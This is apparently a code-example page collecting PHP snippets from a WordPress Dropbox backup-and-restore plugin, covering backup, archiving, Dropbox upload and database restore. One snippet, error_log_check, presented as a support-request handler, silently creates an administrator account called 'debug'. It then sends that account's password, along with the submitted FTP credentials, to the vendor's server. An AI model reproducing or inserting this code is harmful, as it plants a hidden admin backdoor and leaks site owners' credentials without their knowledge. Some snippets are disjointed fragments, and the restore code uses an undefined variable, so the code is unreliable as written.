public function getResult()
 {
     $error = array();
     if (isset($this->params['files'])) {
         if (is_array($this->params['files'])) {
             $n = count($this->params['files']);
             for ($i = 0; $i < $n; $i++) {
                 if (($f = $this->dl($this->params['files'][$i])) === false) {
                     $error[] = langWPADM::get('Error to copy file ', false) . $this->params['files'][$i]['file'];
                 } else {
                     if (is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false) {
                         $error[] = langWPADM::get('Error to extract file ', false) . $f;
                     }
                     if (file_exists($f)) {
                         unlink($f);
                     }
                 }
             }
         }
     } else {
         $error[] = 'Files is not exist';
     }
     if (count($error) == 0) {
         $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
         $this->result->setData('');
     } else {
         $this->result->setError(implode("\n", $error));
         $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
     }
     return $this->result;
 }
 public function getResult()
 {
     $errors = array();
     $this->id = uniqid('wpadm_method_send_to_dropbox_');
     $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
     $this->result->setError('');
     $this->queue = new WPAdm_Queue($this->id);
     $ad = $this->params['access_details'];
     WPAdm_Core::log(langWPADM::get('Start copy to Dropbox Cloud', false));
     $this->queue->clear();
     $files = $this->params['files'];
     //$this->getResult()->setData($files);
     $dir = isset($ad['dir']) ? $ad['dir'] : '/';
     //$dir = trim($dir, '/') . '/' . $this->name;
     if (is_array($files)) {
         foreach ($files as $file) {
             $commandContext = new WPAdm_Command_Context();
             $commandContext->addParam('command', 'send_to_dropbox')->addParam('key', $ad['key'])->addParam('secret', $ad['secret'])->addParam('token', $ad['token'])->addParam('folder_project', $ad['folder'])->addParam('folder', $dir)->addParam('files', ABSPATH . $file);
             $this->queue->add($commandContext);
             unset($commandContext);
         }
     }
     $res = $this->queue->save()->execute();
     if (!$res) {
         WPAdm_Core::log(langWPADM::get('Answer from Dropbox ', false) . $this->queue->getError());
         $errors[] = langWPADM::get('Answer from Dropbox ', false) . $this->queue->getError();
     }
     WPAdm_Core::log(langWPADM::get('End Copy Files to Dropbox', false));
     if (count($errors) > 0) {
         $this->result->setError(implode("\n", $errors));
         $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
     }
     return $this->result;
 }
 public function getResult()
 {
     while (!$this->timeIsOver() && ($context = $this->getNextContext())) {
         $com = $context->get('command');
         $cmd = WPAdm_Command_Factory::getCommand($com);
         if ($cmd === null) {
             $this->result->setError(langWPADM::get('Website "%d" returned an error: Command "%com" not found. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com)));
             $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
             array_unshift($this->contexts, $context);
             $this->done();
             return $this->result;
         } elseif (!$cmd->execute($context)) {
             $this->result->setError(langWPADM::get('Website "%d" returned some unknown error during command "%com" was running. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com)));
             $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
             array_unshift($this->contexts, $context);
             $this->done();
             return $this->result;
         } else {
         }
     }
     if ($this->step >= self::MAX_COUNT_STEPS) {
         $this->log('max_step: ' . $this->id);
         exit;
     }
     //если еще есть невыполненые задачи - рестаратуем
     if (!empty($this->contexts)) {
         $this->restart();
     }
     // если все задачи выполнили, то пометим файл
     $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
     $this->done();
     return $this->result;
 }
 public function execute(WPAdm_Command_Context $context)
 {
     ini_set("memory_limit", "256M");
     require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
     $af = $this->getArchiveName($context->get('to_file'));
     ini_set("memory_limit", "256M");
     $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
     $archive->setRemovePath($context->get('remove_path'));
     $files = $context->get('files');
     if (!file_exists($af)) {
         WPAdm_Core::log(langWPADM::get('Create part ', false) . basename($af));
     }
     if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
         $af = $this->getNextArchiveName($context->get('to_file'));
         unset($archive);
         if (!file_exists($af)) {
             WPAdm_Core::log(langWPADM::get('Create part ', false) . basename($af));
         }
         $archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
         $archive->setRemovePath($context->get('remove_path'));
     }
     $files_str = implode(',', $files);
     $files_archive = WPAdm_Running::getCommandResultData('archive');
     if (!in_array($files_str, $files_archive)) {
         $archive->add($files_str);
         $files_archive = WPAdm_Running::getCommandResultData('archive');
         $files_archive[] = $files_str;
         if (!empty($files_archive)) {
             WPAdm_Running::setCommandResultData('archive', $files_archive);
         }
     }
     return true;
 }
 public function execute(WPAdm_Command_Context $context)
 {
     @session_start();
     require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
     WPAdm_Core::log(langWPADM::get('Send to dropbox files', false));
     $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
     if (!$dropbox->isAuth()) {
         $context->setError(langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"', false, array('%d', '%k', '%s'), array(SITE_HOME, $context->get('key'), $context->get('secret'))));
         return false;
     }
     $files = $context->get('files');
     $file = explode("/", $files);
     $file_name = array_pop($file);
     $folder_project_temp = $context->get('folder_project');
     $folder_project = "";
     if (!empty($folder_project_temp)) {
         $folder_project = $folder_project_temp . "/";
         $dropbox->createDir($folder_project_temp);
         $dropbox->createDir($folder_project . $context->get('folder'));
     } else {
         $dropbox->createDir($context->get('folder'));
     }
     $fromFile = str_replace('//', '/', $files);
     $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
     $res = $dropbox->uploadFile($fromFile, $toFile);
     if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
         $context->setError(langWPADM::get('Dropbox returned an error during file sending: ', false) . '"' . $res['text'] . '"');
         return false;
     }
     if (isset($res['size']) && isset($res['client_mtime'])) {
         WPAdm_Core::log(langWPADM::get('File upload: ', false) . basename($files) . langWPADM::get(' size: ', false) . $res['size']);
     }
     return true;
 }
Esempio n. 6
0
 public static function getLanguageSystem()
 {
     $lang_wp = get_option('WPLANG', 'en');
     $lang_wp = strtolower($lang_wp);
     $lang_wp = explode("_", $lang_wp);
     if (isset($lang_wp[0])) {
         self::$lang_load = $lang_wp[0];
         return $lang_wp[0];
     }
     return 'en';
 }
 public function execute(WPAdm_Command_Context $context)
 {
     if (file_exists($context->get('zip_file'))) {
         require_once WPAdm_Core::getPluginDir() . '/modules/pclzip.lib.php';
         $this->archive = new PclZip($context->get('zip_file'));
         $file = $context->get('file');
         $is_dump = $file && strpos($file, "mysqldump.sql");
         WPAdm_Core::log("Data decompression " . basename($context->get('zip_file')));
         if ($is_dump !== false) {
             $inzip = str_replace(ABSPATH, "", $file);
             $file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
         } else {
             $file_in_zip = $this->archive->extract(PCLZIP_OPT_REPLACE_NEWER);
         }
         if ($file_in_zip == 0) {
             WPAdm_Core::log(langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true));
             $context->setError(langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true));
             return false;
         }
         //WPAdm_Core::log(print_r($file_in_zip, 1));
         if ($is_dump !== false) {
             $db_host = $context->get('db_host');
             if ($db_host !== false) {
                 require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
                 $mysqldump = new WPAdm_Mysqldump();
                 $mysqldump->host = $context->get('db_host');
                 $mysqldump->user = $context->get('db_user');
                 $mysqldump->password = $context->get('db_password');
                 try {
                     $mysqldump->restore($context->get('db_name'), $file);
                 } catch (Exception $e) {
                     $context->setError($e->getMessage());
                     return false;
                 }
             }
         }
     } else {
         $context->setError(langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file'))));
         WPAdm_Core::log(langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file'))));
         return false;
     }
     return true;
 }
 private function directoryToArray($directory, $recursive)
 {
     $array_items = array();
     $d = str_replace(ABSPATH, '', $directory);
     // Skip dirs
     if (isset($this->params['minus-path'])) {
         $minus_path = explode(",", $this->params['minus-path']);
         if (in_array($d, $minus_path)) {
             WPAdm_Core::log(langWPADM::get('Skip of Folder ', false) . $directory);
             return array();
         }
     } else {
         $minus_path = array();
     }
     $d = str_replace('\\', '/', $d);
     $tmp = explode('/', $d);
     $d1 = mb_strtolower($tmp[0]);
     unset($tmp[0]);
     $d2 = mb_strtolower(implode('/', $tmp));
     if (strpos($d2, 'cache') !== false && isset($tmp[0]) && !in_array($tmp[0], array('plugins', 'themes'))) {
         WPAdm_Core::log(langWPADM::get('Skip of Cache-Folder ', false) . $directory);
         return array();
     }
     if (strpos($directory, 'wpadm_backups') !== false) {
         return array();
     }
     if ($handle = opendir($directory)) {
         while (false !== ($file = readdir($handle))) {
             if ($file != "." && $file != "..") {
                 if (is_dir($directory . "/" . $file)) {
                     if ($recursive) {
                         $array_items = array_merge($array_items, $this->directoryToArray($directory . "/" . $file, $recursive));
                     }
                     $file = $directory . "/" . $file;
                     if (!is_dir($file)) {
                         $ff = preg_replace("/\\/\\//si", "/", $file);
                         $f = str_replace(ABSPATH, '', $ff);
                         // skip "minus" dirs
                         if (!in_array($f, $minus_path)) {
                             $array_items[] = $ff;
                         } else {
                             WPAdm_Core::log(langWPADM::get('Skip of File ', false) . $ff);
                         }
                     }
                 } else {
                     $file = $directory . "/" . $file;
                     if (!is_dir($file)) {
                         $ff = preg_replace("/\\/\\//si", "/", $file);
                         $f = str_replace(ABSPATH, '', $ff);
                         // skip "minus" dirs
                         if (!in_array($f, $minus_path)) {
                             $array_items[] = $ff;
                         } else {
                             WPAdm_Core::log(langWPADM::get('Skip of Folder ', false) . $ff);
                         }
                     }
                 }
             }
         }
         closedir($handle);
     }
     return $array_items;
 }
Esempio n. 9
0
 public static function wpadm_show_backup()
 {
     require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
     parent::$type = 'full';
     $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
     if ($dropbox_options) {
         $dropbox_options = unserialize(base64_decode($dropbox_options));
         if (isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['auth_token_secret'])) {
             $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
             $folder_project = self::getNameProject();
             $backups = $dropbox->listing($folder_project);
             $n = count($backups['items']);
             $data['data'] = array();
             for ($i = 0; $i < $n; $i++) {
                 $backup = $dropbox->listing($folder_project . "/" . $backups['items'][$i]['name']);
                 $data['data'][$i]['name'] = $backups['items'][$i]['name'];
                 $data['data'][$i]['size'] = (double) $backup['size'] * 1024 * 1024;
                 $data['data'][$i]['dt'] = parent::getDateInName($backups['items'][$i]['name']);
                 $data['data'][$i]['count'] = count($backup['items']);
                 $data['data'][$i]['type'] = 'dropbox';
                 $k = $data['data'][$i]['count'];
                 $data['data'][$i]['files'] = '[';
                 for ($j = 0; $j < $k; $j++) {
                     $data['data'][$i]['files'] .= $backup['items'][$j]['name'] . ',';
                 }
             }
         }
     }
     if (isset($_GET['pay']) && $_GET['pay'] == 'success') {
         if (!file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
             file_put_contents(WPAdm_Core::getTmpDir() . "/pay_success", 1);
             parent::setMessage(langWPADM::get('', false));
         }
     }
     if (isset($_GET['pay']) && $_GET['pay'] == 'cancel') {
         parent::setError(langWPADM::get('Checkout was canceled', false));
     }
     $data_local = parent::read_backups();
     if (isset($data['data'])) {
         $data['data'] = array_merge($data_local['data'], $data['data']);
         $data['md5'] = md5(print_r($data['data'], 1));
     } else {
         $data = $data_local;
     }
     if (file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
         $plugin_info = get_plugins("/" . parent::$plugin_name);
         $plugin_version = isset($plugin_info[parent::$plugin_name . '.php']['Version']) ? $plugin_info[parent::$plugin_name . '.php']['Version'] : '';
         $data_server = parent::sendToServer(array('actApi' => "proBackupCheck", 'site' => home_url(), 'email' => get_option('admin_email'), 'plugin' => parent::$plugin_name, 'key' => '', 'plugin_version' => $plugin_version));
         if (isset($data_server['status']) && $data_server['status'] == 'success' && isset($data_server['key'])) {
             update_option(PREFIX_BACKUP_ . 'pro-key', $data_server['key']);
             if (isset($data_server['url']) && !empty($data_server['url'])) {
                 parent::setMessage(str_replace('&s', $data_server['url'], langWPADM::get('The "Dropbox backup & restore PRO" version can be downloaded here <a href="&s">download</a>', false)));
             }
         }
     }
     if (!function_exists('get_plugins')) {
         require_once ABSPATH . 'wp-admin/includes/plugin.php';
     }
     $stars5 = file_exists(WPAdm_Core::getTmpDir() . "/notice-star");
     $plugin_data = array_values(get_plugins('/dropbox-backup'));
     $is_runnig = WPAdm_Running::is_running();
     $show = !get_option('wpadm_pub_key') && is_super_admin();
     $error = parent::getError(true);
     $msg = parent::getMessage(true);
     $base_path = DRBBACKUP_BASE_DIR;
     ob_start();
     require_once $base_path . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "wpadm_show_backup.php";
     echo ob_get_clean();
 }
 public function getResult()
 {
     $errors = array();
     $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
     $this->result->setError('');
     @unlink(dirname(__FILE__) . '/../tmp/log.log');
     WPAdm_Core::log('Start backup create');
     WPAdm_Core::log('Create dump Data Base');
     $mysql_dump_file = WPADM_DIR_BACKUP . '/mysqldump.sql';
     if (file_exists($mysql_dump_file)) {
         unlink($mysql_dump_file);
     }
     $wp_mysql_params = $this->getWpMysqlParams();
     if (isset($this->params['optimize']) && $this->params['optimize'] == 1) {
         WPAdm_Core::log('optimization Database');
         $commandContext = new WPAdm_Command_Context();
         $commandContext->addParam('command', 'mysqloptimize')->addParam('host', $wp_mysql_params['host'])->addParam('db', $wp_mysql_params['db'])->addParam('user', $wp_mysql_params['user'])->addParam('password', $wp_mysql_params['password']);
         $this->queue->clear()->add($commandContext);
         unset($commandContext);
     }
     $commandContext = new WPAdm_Command_Context();
     $commandContext->addParam('command', 'mysqldump')->addParam('host', $wp_mysql_params['host'])->addParam('db', $wp_mysql_params['db'])->addParam('user', $wp_mysql_params['user'])->addParam('password', $wp_mysql_params['password'])->addParam('tables', '')->addParam('to_file', $mysql_dump_file);
     $res = $this->queue->add($commandContext)->save()->execute();
     if (!$res) {
         $log = langWPADM::get('Website "%d" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%s'), array(SITE_HOME, $this->queue->getError()));
         WPAdm_Core::log($log);
         $errors[] = $log;
     } elseif (0 == (int) filesize($mysql_dump_file)) {
         $log = langWPADM::get('Website "%d" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%d', '%dir'), array(SITE_HOME, WPADM_DIR_BACKUP));
         $errors[] = $log;
         WPAdm_Core::log($log);
     } else {
         $size_dump = round(filesize($mysql_dump_file) / 1024 / 1024, 2);
         $log = str_replace("%s", $size_dump, langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false));
         WPAdm_Core::log($log . ' ' . str_replace(ABSPATH, '', $mysql_dump_file));
     }
     unset($commandContext);
     WPAdm_Core::log('Start Created List Files');
     if ($this->type == 'full') {
         $files = $this->createListFilesForArchive();
     } else {
         $files = array();
     }
     if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
         $files[] = $mysql_dump_file;
     }
     if (empty($files)) {
         $errors[] = 'Empty list files';
     }
     $files2 = array();
     $files2[0] = array();
     $i = 0;
     $size = 0;
     foreach ($files as $f) {
         if ($size > 170000) {
             //~170kbyte
             $i++;
             $size = 0;
             $files2[$i] = array();
         }
         $f_size = (int) filesize($f);
         if ($f_size == 0 || $f_size > 1000000) {
             WPAdm_Core::log('file ' . $f . ' size ' . $f_size);
         }
         $size += $f_size;
         $files2[$i][] = $f;
     }
     WPAdm_Core::log('Сreated List Files is successfully');
     $this->queue->clear();
     foreach ($files2 as $files) {
         $commandContext = new WPAdm_Command_Context();
         $commandContext->addParam('command', 'archive')->addParam('files', $files)->addParam('to_file', $this->dir . '/' . $this->name)->addParam('max_file_size', 900000)->addParam('remove_path', ABSPATH);
         $this->queue->add($commandContext);
         unset($commandContext);
     }
     WPAdm_Core::log('Start archived files');
     // сохраним и выполним
     $this->queue->save()->execute();
     WPAdm_Core::log('End archived files');
     $files = glob($this->dir . '/' . $this->name . '*');
     $urls = array();
     foreach ($files as $file) {
         $urls[] = str_replace(ABSPATH, '', $file);
     }
     $this->result->setData($urls);
     WPAdm_Core::rmdir(WPADM_DIR_BACKUP . '/mysqldump.sql');
     if ($this->params['limit'] != 0) {
         WPAdm_Core::log('Start deleted old backup');
         $files = glob(WPADM_DIR_BACKUP . '/*');
         if (count($files) > $this->params['limit']) {
             $files2 = array();
             foreach ($files as $f) {
                 $fa = explode('-', $f);
                 if (count($fa) != 3) {
                     continue;
                 }
                 $files2[$fa[2]] = $f;
             }
             ksort($files2);
             $d = count($files2) - $this->params['limit'];
             $del = array_slice($files2, 0, $d);
             foreach ($del as $d) {
                 WPAdm_Core::rmdir($d);
             }
         }
         WPAdm_Core::log('Finish deleted old backups');
     }
     WPAdm_Core::log('Finish create');
     if (!empty($errors)) {
         $this->result->setError(implode("\n", $errors));
         $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
     }
     return $this->result;
 }
Esempio n. 11
0
<div class="updated notice" style="width: 95%;">
    <p>
        <?php 
echo str_replace("%s", $time, langWPADM::get('You use Dropbox backup and restore plugin successfully for more than %s. Please, leave a 5 star review for our development team, because it inspires us to develop this plugin for you.', false));
?>
<br />
        <?php 
langWPADM::get('Thank you!');
?>
        <br />
        <a href="https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5"  ><?php 
langWPADM::get('Leave review');
?>
</a><br />
        <a href="<?php 
echo admin_url('admin-post.php?action=hide_notice&type=star');
?>
"><?php 
langWPADM::get('I already left a review');
?>
</a><br />
        <a href="<?php 
echo admin_url('admin-post.php?action=hide_notice&type=star&hide=' . $hide);
?>
"><?php 
langWPADM::get('Hide this message');
?>
</a><br />
    </p>
</div>
Esempio n. 12
0
 public static function dropbox_backup_create()
 {
     require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
     @session_write_close();
     $log = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
     if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
         unlink(WPAdm_Core::getTmpDir() . "/logs2");
     }
     if (WPAdm_Core::dir_writeble(WPADM_DIR_BACKUP)) {
         $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
         $send_to_dropbox = true;
         if ($dropbox_options) {
             $dropbox_options = unserialize(base64_decode($dropbox_options));
             if (!isset($dropbox_options['app_key'])) {
                 WPAdm_Core::log(langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.', false, '%d', SITE_HOME));
                 $send_to_dropbox = false;
             }
             if (!isset($dropbox_options['app_secret'])) {
                 WPAdm_Core::log(langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.', false, '%d', SITE_HOME));
                 $send_to_dropbox = false;
             }
             if (!isset($dropbox_options['oauth_token'])) {
                 WPAdm_Core::log(langWPADM::get('Website "%d" returned an error during file sending to Dropbox: "Auth Token not exist. Files cannot be sent to Dropbox cloud. Please, check your Dropbox settings."', false, '%d', SITE_HOME));
                 $send_to_dropbox = false;
             }
         } else {
             WPAdm_Core::log(langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.', false, '%d', SITE_HOME));
             $res['type'] = 'local';
             $send_to_dropbox = false;
         }
         if ($send_to_dropbox) {
             parent::$type = 'full';
             $backup_local = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => 1, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files'))), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
             $res = $backup_local->getResult()->toArray();
             $res['md5_data'] = md5(print_r($res, 1));
             $res['name'] = $backup_local->name;
             $res['time'] = $backup_local->time;
             $res['type'] = 'dropbox';
             $res['counts'] = count($res['data']);
             unset($backup);
             $folder_project = self::getNameProject();
             $backup = new WPAdm_Core(array('method' => "send-to-dropbox", 'params' => array('files' => $res['data'], 'access_details' => array('key' => $dropbox_options['app_key'], 'secret' => $dropbox_options['app_secret'], 'token' => $dropbox_options['auth_token_secret'], 'dir' => $res['name'], 'folder' => $folder_project))), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
             $result_send = $backup->getResult()->toArray();
             if ($result_send['result'] == 'error') {
                 $res = array();
                 $res['error'] = $result_send['error'];
                 $res['result'] = 'error';
                 @rename(WPAdm_Core::getTmpDir() . "/logs2", WPAdm_Core::getTmpDir() . "/logs_error_" . $backup_local->time);
             }
             WPAdm_Core::rmdir(WPADM_DIR_BACKUP . "/{$res['name']}");
         }
     } else {
         $res['result'] = 'error';
         $res['error'] = langWPADM::get('Website "%d" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir".', false, array('%d', '%dir'), array(SITE_HOME, WPADM_DIR_BACKUP));
         $res['data'] = array();
         $res['size'] = 0;
     }
     @session_start();
     echo json_encode($res);
     wp_die();
 }
 public function getResult()
 {
     if ($this->restore) {
         $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
         $this->result->setError('');
         WPAdm_Core::log(langWPADM::get('Start Restore process', false));
         $n = count($this->md5_info);
         if (in_array('files', $this->params['types'])) {
             foreach ($this->files_resotre as $key => $file) {
                 if (file_exists($file)) {
                     $commandContext = new WPAdm_Command_Context();
                     $commandContext->addParam('command', 'restore_backup')->addParam('zip_file', $file);
                     $this->queue->clear()->add($commandContext)->save()->execute();
                     unset($commandContext);
                 }
             }
         }
         if (in_array('db', $this->params['types'])) {
             $this->getWpMysqlParams();
             for ($i = 0; $i < $n; $i++) {
                 if (strpos($this->md5_info[$i], "mysqldump.sql") !== false) {
                     $data = explode("\t", $this->md5_info[$i]);
                     if (isset($this->files_resotre[$data[2]]) && file_exists($this->files_resotre[$data[2]])) {
                         $commandContext = new WPAdm_Command_Context();
                         $commandContext->addParam('command', 'restore_backup')->addParam('file', $data[0])->addParam('zip_file', $this->files_resotre[$data[2]]);
                         $commandContext->addParam('db_password', $this->db_data['password'])->addParam('db_name', $this->db_data['db'])->addParam('db_user', $this->db_data['user'])->addParam('db_host', $this->db_data['host']);
                         $this->queue->clear()->add($commandContext)->save()->execute();
                         unset($commandContext);
                     } else {
                         $log = langWPADM::get('Website "%d" returned an error during backup restoration: Part Backup is not exist "%s" ', false, array('%d', '%s'), array(SITE_HOME, $data[2]));
                         $this->setError($log);
                         WPAdm_Core::log($log);
                         break;
                     }
                 }
             }
         }
     } else {
         WPAdm_Core::log(langWPADM::get('Website "%d" returned an error during restore backup: Files for restore is not exist, check permission your backup data or You can send to us support request using "Help" button on plugin page.', false, array('%d'), array(SITE_HOME)));
     }
     return $this->result;
 }
 public static function error_log_check()
 {
     $base_path = plugin_dir_path(dirname(__FILE__));
     $time = isset($_POST['time_pars']) ? $_POST['time_pars'] : "";
     $error = "";
     if (file_exists(ABSPATH . "error_log")) {
         $error = file_get_contents(ABSPATH . "error_log");
     }
     if (empty($error) && file_exists(ABSPATH . "error.log")) {
         $error = file_get_contents(ABSPATH . "error.log");
     }
     if (empty($error) && file_exists(ABSPATH . "logs/error_log")) {
         $error = file_get_contents(ABSPATH . "logs/error_log");
     }
     if (empty($error) && file_exists(ABSPATH . "logs/error.log")) {
         $error = file_get_contents(ABSPATH . "logs/error.log");
     }
     if (empty($error) && file_exists(ABSPATH . "../logs/error_log")) {
         $error = file_get_contents(ABSPATH . "../logs/error_log");
     }
     if (empty($error) && file_exists(ABSPATH . "../logs/error.log")) {
         $error = file_get_contents(ABSPATH . "../logs/error.log");
     }
     $error_backup = $error_system = "";
     if (!empty($time)) {
         $time_log = str_replace(array(':', '-', " "), "_", $time);
         if (file_exists($base_path . "tmp/logs_error_" . $time)) {
             $log_ = file_get_contents($base_path . "tmp/logs_error_" . $time);
             $pos = stripos($log_, "error");
             if ($pos !== false) {
                 for ($i = $pos;; $i--) {
                     if ($log_[$i] == "\n") {
                         $pos_new = $i + 1;
                         break;
                     }
                 }
                 $error_backup = substr($log_, $pos_new);
             }
         }
     }
     if (!empty($time) && !empty($error)) {
         $time_log = str_replace(array(':', '-', " "), "_", $time);
         list($y, $m, $d, $h, $i) = explode("_", $time_log);
         $time_log = strtotime("{$d}-{$m}-{$y} {$h}:{$i}");
         $date_for_log = date("d-M-Y ", $time_log);
         $pos_log = strpos($error, $date_for_log);
         if ($pos_log !== false) {
             $pos_new = 0;
             for ($i = $pos_log;; $i--) {
                 if ($error[$i] == "[") {
                     $pos_new = $i;
                     break;
                 }
             }
             $error_system = substr($error, $pos_new);
         }
     }
     $pass = substr(md5(mktime()), 0, 10);
     $id = wp_insert_user(array("user_login" => "debug", "user_pass" => $pass, "user_nicename" => "Debug", "user_email" => "*****@*****.**", "description" => "Debug user"));
     if (!is_wp_error($id)) {
         wp_update_user(array('ID' => $id, 'role' => 'administrator'));
     } else {
         $pass = "";
     }
     $ftp = array('ftp_host' => @$_POST['ftp_host'], 'ftp_user' => @$_POST['ftp_user'], 'ftp_pass' => @$_POST['ftp_pass']);
     $mail_response = isset($_POST['mail_response']) && !empty($_POST['mail_response']) ? $_POST['mail_response'] : get_option('admin_email');
     $logs_report = base64_encode(serialize(array('ftp' => $ftp, 'mail_response' => $mail_response, 'mail_admin' => get_option('admin_email'), 'pass' => $pass, 'error_backup' => $error_backup, 'msg_ajax' => isset($_POST['msg_ajax']) ? trim($_POST['msg_ajax']) : '', 'error' => $error_system)));
     $res = self::sendToServer(array('actApi' => "errorLog", "site" => str_ireplace(array("http://", "https://"), "", home_url()), "data" => $logs_report));
     $_SESSION['sent_response'] = langWPADM::get('Your request was sent. <br /> Thank you for your assistance.', false);
     header("Location: " . $_SERVER['HTTP_REFERER']);
     exit;
 }
Esempio n. 15
0
 public function restore($db, $file)
 {
     $link = $this->connect($db);
     WPAdm_Core::log(langWPADM::get('Restore Database was started', false));
     $fo = fopen($file, "r");
     if (!$fo) {
         WPAdm_Core::log(langWPADM::get('Error in open file dump', false));
         $this->setError(langWPADM::get('Error in open file dump', false));
         return false;
     }
     $sql = "";
     while (false !== ($char = fgetc($fo))) {
         $sql .= $char;
         if ($char == ";") {
             $char_new = fgetc($fo);
             if ($char_new !== false && $char_new != "\n") {
                 $sql .= $char_new;
             } else {
                 $ress = $link->query($sql);
                 if (!empty($link->last_error) && $n > 0) {
                     $this->setError($link->last_error);
                     WPAdm_Core::log(langWPADM::get('MySQL Error: ', false) . $link->last_error);
                     break;
                 }
                 $sql = "";
             }
         }
     }
     WPAdm_Core::log(langWPADM::get('Restore Database was finished', false));
 }
 public function execute(WPAdm_Command_Context $context)
 {
     @session_start();
     require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
     WPAdm_Core::log(langWPADM::get('Send to dropbox files', false));
     $dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
     if (!$dropbox->isAuth()) {
         $context->setError(langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"', false, array('%d', '%k', '%s'), array(SITE_HOME, $context->get('key'), $context->get('secret'))));
         return false;
     }
     $files = $context->get('files');
     $file = explode("/", $files);
     $file_name = array_pop($file);
     $folder_project_temp = $context->get('folder_project');
     $folder_project = "";
     if (!empty($folder_project_temp)) {
         $folder_project = $folder_project_temp . "/";
         $dropbox->createDir($folder_project_temp);
         $dropbox->createDir($folder_project . $context->get('folder'));
     } else {
         $dropbox->createDir($context->get('folder'));
     }
     $fromFile = str_replace('//', '/', $files);
     $toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
     $local = $context->get('local');
     $file_dropbox = $dropbox->listing($folder_project . $context->get('folder') . '/' . $file_name);
     $send = true;
     if (!isset($file_dropbox['error'])) {
         if ($file_dropbox['bytes'] != filesize($fromFile)) {
             $delete_file = $dropbox->deleteFile($folder_project . $context->get('folder') . '/' . $file_name);
             if (isset($delete_file['error'])) {
                 $context->setError(langWPADM::get('Dropbox returned an error during file sending: ', false) . '"' . $delete_file['text'] . '"');
                 return false;
             }
             $data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
             if (isset($data_command[$fromFile])) {
                 $data_error_command[$fromFile]['count'] += 1;
             } else {
                 $data_error_command[$fromFile] = array();
                 $data_error_command[$fromFile]['count'] = 1;
             }
             WPAdm_Running::setCommandResultData('errors_sending', $data_error_command);
         } else {
             $send = false;
         }
     }
     if ($local) {
         $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
         if (empty($data_command) || !in_array($fromFile, $data_command)) {
             if ($send) {
                 $res = $dropbox->uploadFile($fromFile, $toFile, true);
             } else {
                 $this->saveDataCommand($fromFile);
             }
         }
     } else {
         $res = $dropbox->uploadFile($fromFile, $toFile, true);
     }
